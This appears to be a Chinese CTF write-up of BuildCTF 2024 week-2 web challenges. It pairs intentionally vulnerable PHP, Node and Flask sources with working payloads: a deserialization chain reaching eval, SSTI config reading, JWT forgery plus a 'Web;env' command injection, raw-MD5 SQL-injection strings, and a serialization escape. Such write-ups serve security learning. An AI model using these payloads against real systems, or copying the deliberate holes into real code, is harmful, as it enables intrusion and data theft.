2024BuildCTF week2 WEB
week2
LovePopChain
源码如下
<?php
class MyObject{
public $NoLove="Do_You_Want_Fl4g?";
public $Forgzy;
public function __wakeup()
{
if($this->NoLove == "Do_You_Want_Fl4g?"){
echo 'Love but not getting it!!';
}
}
public function __invoke()
{
$this->Forgzy = clone new GaoZhouYue();
}
}
class GaoZhouYue{
public $Yuer;
public $LastOne;
public function __clone()
{
echo '最后一次了, 爱而不得, 未必就是遗憾~~';
eval($_POST['y3y4']);
}
}
class hybcx{
public $JiuYue;
public $Si;
public function __call($fun1,$arg){
$this->Si->JiuYue=$arg[0];
}
public function __toString(){
$ai = $this->Si;
echo 'I W1ll remember you';
return $ai();
}
}
if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);
}else{
highlight_file(__FILE__);
}
构造pop链如下
<?php
class MyObject
{
public $NoLove = "Do_You_Want_Fl4g?";
public $Forgzy;
}
class GaoZhouYue
{
public $Yuer;
public $LastOne;
}
class hybcx
{
public $JiuYue;
public $Si;
}
$a = new MyObject;
$b = new hybcx;
$c = new MyObject;
$d = new GaoZhouYue;
$c->Forgzy = $d;
$b->Si = $c;
$a->NoLove = $b;
echo serialize($a);
eazyl0gin
源码如下
var express = require('express');
var router = express.Router();
const crypto = require('crypto');
const { type } = require('os');
/* GET users listing. */
router.get('/', function(req, res, next) {
res.send('respond with a resource');
});
router.post('/login',function(req,res,next){
var data = {
username: String(req.body.username),
password: String(req.body.password)
}
const md5 = crypto.createHash('md5');
const flag = process.env.flag
if(data.username.toLowerCase()==='buildctf'){
return res.render('login',{data:"你不许用buildctf账户登陆"})
}
if(data.username.toUpperCase()!='BUILDCTF'){
return res.render('login',{data:"只有buildctf这一个账户哦~"})
}
var md5pwd = md5.update(data.password).digest('hex')
if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){
return res.render('login',{data:"密码错误"})
}
return res.render('login',{data:flag})
})
module.exports = router;
考察js的大小写转换特性:在toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。在toLowerCase()函数中,字符İ会转变为i,字符K会转变为k
所以我们可以传入绕过username同时MD5爆破密码为012346成功登录
buıldctf
RedFlag
源码
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.getenv('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/redflag/<path:redflag>')
def redflag(redflag):
def safe_jinja(payload):
payload = payload.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+payload
return flask.render_template_string(safe_jinja(redflag))
发现禁用了括号,那么基本不可能ssti rce,但是有环境变量flag可以直接读取
{{url_for.__globals__['current_app'].config.FLAG}}
ezweb
源码
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'
DOCUMENT_DIR = os.path.abspath('src/docs')
users = {}
messages = []
@app.route('/message', methods=['GET', 'POST'])
def message():
if request.method == 'POST':
name = request.form.get('name')
content = request.form.get('content')
messages.append({'name': name, 'content': content})
flash('Message posted')
return redirect(url_for('message'))
return render_template('message.html', messages=messages)
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users:
flash('Username already exists')
return redirect(url_for('register'))
users[username] = {'password': generate_password_hash(password), 'role': 'user'}
flash('User registered successfully')
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({
'sub': username,
'role': users[username]['role'],
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')
# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')
return response
else:
return jsonify({"msg": "Invalid username or password"}), 401
return render_template('login.html')
@app.route('/logout')
def logout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt', '', expires=0)
flash('You have been logged out')
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route('/page')
def page():
jwt_token = request.cookies.get('jwt')
if jwt_token:
try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']
except jwt.ExpiredSignatureError:
return jsonify({"msg": "Token has expired"}), 401
except jwt.InvalidTokenError:
return jsonify({"msg": "Invalid token"}), 401
except Exception as e:
return jsonify({"msg": "Invalid or expired token"}), 401
if role != 'admin' or current_user not in users:
return abort(403, 'Access denied')
file = request.args.get('file', '')
file_path = os.path.join(DOCUMENT_DIR, file)
file_path = os.path.normpath(file_path)
if not file_path.startswith(DOCUMENT_DIR):
return abort(400, 'Invalid file name')
try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
except subprocess.CalledProcessError as e:
content = str(e)
except Exception as e:
content = str(e)
return render_template('page.html', content=content)
else:
return abort(403, 'Access denied')
@app.route('/categories')
def categories():
return render_template('categories.html', categories=['Web', 'Pwn', 'Misc', 'Re', 'Crypto'])
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5050)
jwtkey有了直接伪造admin
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key = 'BuildCTF'
app.config['JWT_SECRET_KEY'] = 'BuildCTF'
access_token = jwt.encode({
'sub': 'admin',
'role': 'admin',
'exp': datetime.datetime.utcnow() + datetime.timedelta(minutes=30)
}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
print(access_token)
其中有个page路由有命令执行并且可以拼接
直接传入
Web;env
ez_md5
开局给了个sql登录
$sql = "SELECT flag FROM flags WHERE password = '".md5($password,true)."'";
可以使用以下代码验证:
<?php
$a='ffifdyop';
$b='129581926211651571912466741651878684928';
$bb=md5($a,TRUE);
echo $bb;
echo "\n";
$cc=md5($b,true);
echo $cc
?>
结果都有'or' 结构
在经过长时间的碰撞后,比较常用的是以下两种:
数字型:129581926211651571912466741651878684928
字符型:ffifdyop
ffifdyop
129581926211651571912466741651878684928
下一关源码
<?php
error_reporting(0);
///robots
highlight_file(__FILE__);
include("flag.php");
$Build=$_GET['a'];
$CTF=$_GET['b'];
if($_REQUEST) {
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('不可以哦!');
}
}
if($Build != $CTF && md5($Build) == md5($CTF))
{
if(md5($_POST['Build_CTF.com']) == "3e41f780146b6c246cd49dd296a3da28")
{
echo $flag;
}else die("再想想");
}else die("不是吧这么简单的md5都过不去?");
?>
根据robots.txt提示需要md5爆破
import hashlib
import threading
target_hash = "3e41f780146b6c246cd49dd296a3da28"
prefix = "114514"
found = False
def crack_password(start, end):
global found
for i in range(start, end):
if found:
break
guess = f"{prefix}{i:07d}"
hashed_guess = hashlib.md5(guess.encode()).hexdigest()
if hashed_guess == target_hash:
print(f"Password found: {guess}")
found = True
break
def main():
threads = []
num_threads = 10
range_per_thread = 10000000 // num_threads
for i in range(num_threads):
start = i * range_per_thread
end = (i + 1) * range_per_thread
thread = threading.Thread(target=crack_password, args=(start, end))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if __name__ == "__main__":
main()
注意:cookie也是request的变量需要清理一下防止被waf
Why_so_serials?
源代码
<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
class Gotham{
public $Bruce;
public $Wayne;
public $crime=false;
public function __construct($Bruce,$Wayne){
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}
if(isset($_GET['Bruce']) && isset($_GET['Wayne'])){
$Bruce = $_GET['Bruce'];
$Wayne = $_GET['Wayne'];
$city = new Gotham($Bruce,$Wayne);
if(preg_match("/joker/", $Wayne)){
$serial_city = str_replace('joker', 'batman', serialize($city));
$boom = unserialize($serial_city);
if($boom->crime){
echo $flag;
}
}else{
echo "no crime";
}
}else{
echo "HAHAHAHA batman can't catch me!";
}
可以看出通过字符替换,会导致字符逃逸
脚本构造逃逸出";s:5:"crime";b:1;}
<?php
class Gotham
{
public $Bruce;
public $Wayne;
public $crime = false;
public function __construct($Bruce, $Wayne)
{
$this->Bruce = $Bruce;
$this->Wayne = $Wayne;
}
}
$a = new Gotham('123', 'joker');
$b = serialize($a);
print($b); #O:6:"Gotham":3:{s:5:"Bruce";s:3:"123";s:5:"Wayne";s:5:"joker";s:5:"crime";b:0;}
#";s:5:"crime";b:1;}
echo "\n";
$c = 'jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';
$a = new Gotham('123', $c);
Cookie_Factory
const express = require('express')
const app = express();
const http = require('http').Server(app);
const port = 3000;
const socketIo = require('socket.io');
const io = socketIo(http);
let sessions = {}
let errors = {}
app.use(express.static(__dirname));
app.get('/', (req, res) => {
res.sendFile("./index.html")
})
io.on('connection', (socket) => {
sessions[socket.id] = 0
errors[socket.id] = 0
socket.on('disconnect', () => {
console.log('user disconnected');
});
socket.on('chat message', (msg) => {
socket.emit('chat message', msg);
});
socket.on('receivedError', (msg) => {
sessions[socket.id] = errors[socket.id]
socket.emit('recievedScore', JSON.stringify({"value":sessions[socket.id]}));
});
socket.on('click', (msg) => {
let json = JSON.parse(msg)
if (sessions[socket.id] > 1e20) {
socket.emit('recievedScore', JSON.stringify({"value":"FLAG"}));
return;
}
if (json.value != sessions[socket.id]) {
socket.emit("error", "previous value does not match")
}
let oldValue = sessions[socket.id]
let newValue = Math.floor(Math.random() * json.power) + 1 + oldValue
sessions[socket.id] = newValue
socket.emit('recievedScore', JSON.stringify({"value":newValue}));
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
errors[socket.id] = oldValue;
});
});
http.listen(port, () => {
console.log(`App server listening on ${port}. (Go to http://localhost:${port})`);
});
通过代码审计发现需要得分>1e20,我没通过控制台修改变量成功实现,但是代码逻辑的赋值在给判断之前,也就是第二次发包,才能进去判断得到flag
而当赋值过大会导致重新分数回到0
if (json.power > 10) {
socket.emit('error', JSON.stringify({"value":oldValue}));
}
但是可以通过抓包拦截,将error包丢弃即可不清0拿到flag
0 条评论
可输入 255 字